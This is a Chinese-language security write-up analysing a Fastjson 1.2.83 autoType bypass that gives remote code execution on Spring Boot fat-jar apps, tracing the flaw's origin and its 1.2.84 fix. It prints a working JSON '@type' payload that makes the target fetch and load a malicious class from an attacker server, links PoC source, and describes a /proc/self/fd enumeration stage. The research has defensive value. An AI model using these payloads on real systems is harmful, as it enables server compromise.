java安全-FastJson1.2.83绕过
FastJson1.2.83绕过
Fastjson版本列表网址如下
1 | https://central.sonatype.com/artifact/com.alibaba/fastjson/versions |
2022-06-13 阿里巴巴官方发布1.2.83修复了CVE-2022-25845也就是使用Throwable绕过AutoType,同时,这一版本也作为Fastjson 1系列的终结之作,开始全新制作Fastjson 2系列

当然也就很轻易意识到1.2.83被绕过了,也就是我在这篇文章研究的重点
一、绕过
此次修复对应cve标号为CVE-2026-16723
2026-07-21 FearsOff 公司发布
1 | https://fearsoff.org/research/fastjson-1-2-83-rce |
也算是第一个披露这个吧
alibaba 公告
1 | https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83 |

1.复现
目标需要是一个fat jar启动的程序而不是单纯类路径
攻击方也需要有服务器将恶意类挂载到监听端口
1 | https://cdn.jsdelivr.net/gh/zc-18/chuanimages@main/img/202608192021102.7z |
这个是我实现的服务器与攻击端源码
环境方面
1 | JDK 8u65 |
二者启动之后,使用payload去访问对应接口就可以触发

注意点
1.需要直接去调用
1 | body = '{"@type":"jar:http:..2130706433:9000.probe!.POC","x":1}' |
这个接口,如果先调用/info 或 /parse
1 | 1. /parse 首次访问 ParserConfig.global; |
2.想要实现命令执行
在src/main/java/lab/attacker/CraftedProbeGenerator.java下加入
1 | initializer.visitMethodInsn( |
3.切换攻击服务器类之后攻击失败
需要重新启动一下目标程序,因为之前的请请求已经打入缓存里
2.黑名单绕过
checkAutoType函数第一段
字串
1 | {"@type":"jar:http:..2130706433:9000.probe!.POC","x":1} |
当匹配到@type时
进入到加载类阶段,也就是DefaultJSONParser#parseObject
然后会进入类加载检查函数 checkAutoType,这个就是这里研究的重点
类名也就是typeName为jar:http:..2130706433:9000.probe!.POC这样,肯定不会被黑名单匹配到,也就是没有黑白名单匹配的烦恼
然后就进到了重要的绕过逻辑

2.1、获取类名
1 | String resource = typeName.replace('.', '/') + ".class"; |
逻辑就是将typeName中的.号用/替代我们的payload
1 | jar:http:..2130706433:9000.probe!.POC |
经过转换之后就是
1 | jar:http://2130706433:9000/probe!/POC.class |
2130706433 是 127.0.0.1 地址的十进制整数表示
2.2、数据流进入
因为defaultClassLoader 通常是 null,所以走下面一条方式
1 | is = ParserConfig.class.getClassLoader() |
本质上就是
拿到ParserConfig类的类加载器,接着调用其getResourceAsStream方法
规定目标必须时fat-JAR启动
所以 ParserConfig.class.getClassLoader() 是:
org.springframework.boot.loader.LaunchedURLClassLoader
这个类的继承关系如下

LaunchedURLClassLoader类中没有定义getResourceAsStream方法,所以会调用父类重写的getResourceAsStream方法
具体逻辑如下
java/net/URLClassLoader#getResourceAsStream

此时还有一个细节
1 | jar:http://2130706433:9000/probe!/POC.class |
符合
jar:<外层 JAR URL>!/<JAR 内部条目>
也就是
1 | 外层 JAR URL = http://2130706433:9000/probe |
所以请求的是/probe获取到probe.jar,然后再返回poc.class
具体代码逻辑如下
将jar:http://2130706433:9000/probe!/POC.class拆分具体逻辑
1 | url.openConnection() |

具体拆分函数
java/net/JarURLConnection#parseSpecs

发起请求去下载保存probe.jar代码逻辑

接着是具体发起网络请求

分解恶意类poc.class具体逻辑


也就是这样

至此,第二点完毕,也就是返回了恶意服务器上的poc.class恶意类数据流
2.3、包装ClassReader
Fastjson 使用的是自己的轻量 ASM,com.alibaba.fastjson.asm.ClassReade
ASM 就是一个 Java 字节码操作和分析框架,用来在字节码层面直接读取、生成、修改 .class 文件,而不是操作 Java 源码
1 | ClassReader classReader = new ClassReader(is, true); |
作用就是
去将is也就是加载到的poc.class类消费处理

2.4、匹配注解
1 | TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); |
是为了匹配方法名,并不会在这里执行静态初始化代码
表示
目标方法名:
目标参数数量:0
本质就是无参构造方法,这里的作用就是保存一个匹配条件,为下一步做准备
1 | classReader.accept(visitor); |
具体逻辑
第一步


所以我们在编写poc类的时候特意为添加条件注解
1 | writer.visitAnnotation( |
同时注意accept函数还判断了 readAnnotations是否存在才走的下一步,而这个参数刚好在包装是被赋值为True
至此,黑名单绕过的投毒实现完毕

3.恶意类加载
接下来就到了
1 | clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); |
这个的具体逻辑
jsonType参数为true
意味着此时参数为
1 | clazz = TypeUtils.loadClass( |
3.1、进入远程加载
这里分析的是进入到URLClassLoader#findClass这个常见发起外部请求的方法
com/alibaba/fastjson/util/TypeUtils#loadClass

org/springframework/boot/loader/LaunchedURLClassLoader#loadClass
这里的loadClass函数本质就是调用父类也就是
而父类的URLClassLoader也没有直接重写loadClass而是它内部类重写了,所以不算
URLClassLoader的父类``SecureClassLoader直接没有重写loadclass函数

所以直接调用了祖师爷
java/lang/ClassLoader#loadclass

此时,调用类为LaunchedURLClassLoader调用loadclass,LaunchedURLClassLoader没有重写findclass函数,由此调用父类URLClassLoader重写的
所以这里准确的调用链就是
1 | ClassLoader.loadClass() |
自此进入一个算是常见的外部请求方法
3.2、发起外部请求
这里分析到java发起到外部请求的底层
java/net/URLClassLoader#findClass

sun/misc/URLClassPath#getResource

然后就是重量级选手,之前fastjson单独实现的逻辑

3.3、加载字节码文件
接着就是函数的返回与加载字节码

进一步返回到
java/net/URLClassLoader#findClass

调用defineClass加载字节码文件,常见函数没什么好说的
然后就是返回
ClassLoader类的返回

com/alibaba/fastjson/parser/ParserConfig#checkAutoType的返回

3.4、栈图

4.恶意类实例化
上一步中
checkAutoType函数已经返回我们要加载的恶意类

接着就走到图中第二点获取反序列化器和反序列化类
4.1、获取反序列化器
获取反序列化器的栈图如下

这里返回的是根据poc.class动态生成的 FastjsonASMDeserializer_1_POC 反序列化器
和普通分支的区别就是

具体逻辑如下
1 | ObjectDeserializer deserializer = config.getDeserializer(clazz); |

接着进入到com/alibaba/fastjson/parser/ParserConfig#createJavaBeanDeserializer

当前类下还由一个重要的beanInfo参数 涉及到俩方面

这个方法结果就是返回俩种情况下的反序列化器
条件就是asmEnable的值
这个值 分析代码之后,由以下几个方面控制
1 | 类层面:类或父类非 public、带泛型、是接口、非静态内部类、类名不符合 ASM 命名规则、属于外部类、字段数量超过 200、没有无 |
进一步会调用
com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory#createJavaBeanDeserializer

ok,现在就是拿到了一个
FastjsonASMDeserializer_1_POC 的实例
存着
1 | 参数 |
4.2、实例化恶意类
实例化恶意类的代码点也就是
1 | Object obj = deserializer.deserialze(this, clazz, fieldName); |
此时deserializer是动态生成的FastjsonASMDeserializer_1_POC
因为我们的poc.class没有参数,所以直接动态生成的反序列化器没有deserialzer方法
会直接调用父类JavaBeanDeserializer实现的方法

这个方法也比较又意思
会调用一个无限循环读取我们payload剩余的字串
1 | "x": 1} |

还会遇到老熟人@Type二次读取,当然现在重点不是他

接着匹配到 } 时终止循环返回类

栈图逻辑就是

5.一些额外的点
5.1、二次请求绕过
1 | https://pentesterlab.com/exercises/fastjson-jsontype-rce-ii |
这一部分需要服务器是linux才可以实现,我没有复现只研究原理
5.1.1、linux前置知识
Linux 会把进程信息放在虚拟目录 /proc 中,/proc/
/proc/1234/fd/15,就表示1234进程的第 15 个文件描述符,一般这个文件描述符是链接形式的
1 | /proc/self/fd/15 -> /tmp/jar_cache123456.tmp |
并且这个 fd 的序号是随机的,不可控,所以我们只能枚举
5.1.2、真实请求过程
然后我们发送类似下面的请求
1 | { |
5.1.3、jar包缓存请求
jar:http:..2130706433:9000.probe-fd!.foo.Exception
这个会变为
jar:http://2130706433:9000/probe-fd!/foo/Exception.clas
然后下载到本地,为什么这里可以发起外部请求,而之后类加载的时候不可以呢?
1 | // 先找 class 文件资源 |
fastjson中的重要代码如上,这里第一个这个就是直接从底层的形式去加载这个恶意的外部jar,加载之后缓存为
1 | /tmp/jar_cachexxxx.tmp |
同时留下文件描述符
1 | /proc/self/fd/15 -> /tmp/jar_cachexxxx.tmp |
5.1.4、真实文件请求
jar:file:/proc/self/fd/15!/fd15/Exception.class表示路径file:/proc/self/fd/15这个对应的jar包下的内部存在的/fd15/Exception.class意思就是,打开当前 Java 进程 FD 15 指向的 JAR,并读取其中的 fd15/Exception.class,因为springboot项目中线程的默认上下文类加载器为TomcatEmbeddedWebappClassLoader这个,会导致无法远程加载类,但是可以加载本地文件存在的类
jar包情况
同时二阶段使用的jar包内部结构大概是下面情况
1 | probe-fd.jar |
问题1:
为啥俩个数字要一样呢?jar:file:/proc/self/fd/15!/fd15/Exception.class
目的是为了正确的构造类,如果是这样
1 | jar:file:/proc/self/fd/16!/fd17/Exception.class |
正确的找到了fd16这个缓存的jar,找到了Exception类,但是Exception我们构造的时候所对应的字节码内部类名为16,这样就会导致类名不一致,类加载失败
问题2:
第一个@Type失败之后为啥没抛出异常停止,为啥要有Exception这个?
1 | if (!autoTypeSupport) { |
因为fastjson处理异常有一个这个逻辑,如果我们没有以这个Exception结尾就没办法继续枚举我们剩下的poc啦
然后我认为这个逻辑也就是长亭在公告里提到的

5.2、发起俩次请求
发起俩次请求这个问题比较有说法
深入调试后确认在

具体的逻辑是

这里,一次是探测,一次是真正的去加载
直接上栈图吧


跟踪源码确认逻辑存在,不是ai幻觉

5.3、目标启动方式
也就是
1 | java.lang.ClassLoader |
LaunchedURLClassLoader与AppClassLoader之间的问题
tccl 是 Thread Context ClassLoader(线程上下文类加载器)的缩写
每一个线程都可以通过
1 | Thread.currentThread().getContextClassLoader() |
获取独属于自己线程的上下文类加载器
Spring Boot项目一共有俩种启动方式
IDE 里直接右键运行
XxxApplication.main()此时,主线程的上下文累加载器就是
sun.misc.Launcher$AppClassLoader业务代码等等类都是通过这个类加载器加载此时,主线程的上下文类加载器就是
sun.misc.Launcher$AppClassLoader业务代码等等类都是通过这个类加载器加载
java -jar xxx.jar(fat jar 方式)这时要先用 AppClassLoader 加载
org.springframework.boot.loader.JarLauncherJarLauncher内部再创建一个自定义的LaunchedURLClassLoader,去加载BOOT-INF/classes和BOOT-INF/lib/*.jar里的类,这时的上下文类加载器就是LaunchedURLClassLoader业务代码(包括启动类本身)实际上是被
LaunchedURLClassLoader加载的
这俩类加载器有一个区别就是

具体的原因就是他们的URLClassPath参数不同

具体启动的时候发生下面的情况
1 | 在 fat-JAR 启动时: |
因此说必须使用fatjar的形式去启动程序

5.4、默认类加载器
也就是LaunchedURLClassLoader与TomcatEmbeddedWebappClassLoader之间的问题
1 | java.lang.ClassLoader |
web请求进入到java线程时,程序会单独分出一个线程去处理这个任务,此时处理线程的上下文类加载器是TomcatEmbeddedWebappClassLoader
1 | Web 请求到达时,Tomcat 从预先创建好的 worker 线程池中取出一个空闲线程来处理该请求。在真正执行到 Servlet/Controller 代码之前,Tomcat 会临时把这个线程的 tccl 切换为该 webapp 对应的 TomcatEmbeddedWebappClassLoader;请求处理结束后,Tomcat 会把该线程的 tccl 恢复为切换前的值,以便线程池复用 |
接着讲我们之前的绕过逻辑
checkAutoType函数

检验的时候因为使用的是ParseConfig的类加载器,肯定是Launched,但是TypeUtils.loadclass出现了问题

当上下文类加载器为TomcatEmbeddedWebappClassLoader时,只能加载普通 Webapp 类,当前这个特殊类名经过 Tomcat 的 Class.forName() 委托路径后,被类名校验挡住了
也就是下面的

因此对于当前项目代码

也就解释了为啥 parse接口无法触发类加载
5.5、目标服务器缓存
攻击端换了新的 POC.class,但只要 @type 字符串不变,目标 JVM 根本不会再次请求攻击服务器
checkAutoType函数具体逻辑


因此,恶意poc切换之后需要更换名字,或者重启目标服务器
二、引入与修复
2020-03-28 fastjson官方发布1.2.68,这个恶意逻辑被引入,在2022-05-22 发布1.2.83,接着发布1.2.83_noneautotype,自此fastjson1.x 线此后沉寂 4 年 2 个月,在2026-07-29 发布了1.2.84
1.修复
修复版本也就是1.2.84做出的处理很简单
1.1、checkAutoType函数
在1.2.84版本中,在这一段的之前的逻辑中加入

这个安全检查的逻辑也比较简单

但是越是简单的逻辑,就能直接堵死掉我们的绕过方式,这也是代码的魅力吧
1.2、loadClass函数
针对于这个函数也加入了拦截逻辑

对于缓存的处理

2.问题的引入
对于这个cve绕过逻辑引入的部分,目前主流文章都是以fastjson1.2.68为主,也就是2020-03-28发布的,但是这个版本当初发布时说明了,只是为了增加一个safemode这样的一个安全开关,引入一个安全逻辑怎么可能会造成问题呢,深入探索之后锁定到2018-08-04发布的fastjson1.2.48,但是进一步锁定到的是fastjson1.2.37
相关链接
1 | snyk官方 |
2.1、补丁1.2.68
补丁1.2.68做出的改动主要就是下面俩点
safemode第一次引入,单模式关闭,对本次绕过不影响

接着就是增加一些黑名单,用来防止某些类的绕过,也不影响

为了证明一下,我特意找到了1.2.67做证据

2.1、补丁1.2.48
因为恶意绕过代码逻辑锁定确认到

这个恶意逻辑就是在1.2.48引入,具体理解可以见下方,当初1.2.48做出的改动一共有俩份,一是去将loadclass的缓存参数设置为false

阻止的是class类缓存投毒那一块的绕过
另一处改动就是这里

1 | https://github.com/alibaba/fastjson/compare/1.2.47...1.2.48 |
也就是实质名归的引入了恶意代码逻辑

测试过后也确实可以触发我们的poc

但是,真的只是这么容易吗
2.3、补丁1.2.37
之前的研究发现,重要的远程类加载逻辑本质上就是
1 | TypeUtils.loadClass(typeName, defaultClassLoader, false); |
这一块内部的LaunchedURLClassLoader#loadClass发起远程类加载,所以没必要前面的探测,如果可以直接进行调用上面的代码接着返回类,poc直接联通
同时,在fastjson1.2.37时,也是JSONType这个sink第一次出现
1 | https://github.com/alibaba/fastjson/compare/1.2.36...1.2.37 |

然后这一块的绕过逻辑就是这样

同时,只是直接进行类加载的话,那目标端对攻击端的探测也只会存在一次,复现成功

同时,恶意服务器记录也和预期相同

对于fastjson1.2.36
因为没有绕过逻辑,复现不成功,抛出异常

所以一顿追溯,找到了恶意逻辑引入的最开始的地方,也就是CVE-2022-25845最小影响到的版本是fastjson1.2.37
总之,问题在fastjson1.2.37引入,随后fastjson1.2.48做出调整,就是先探测在加载类然后在fastjson1.2.84得到修复,对于noneautotype系列不影响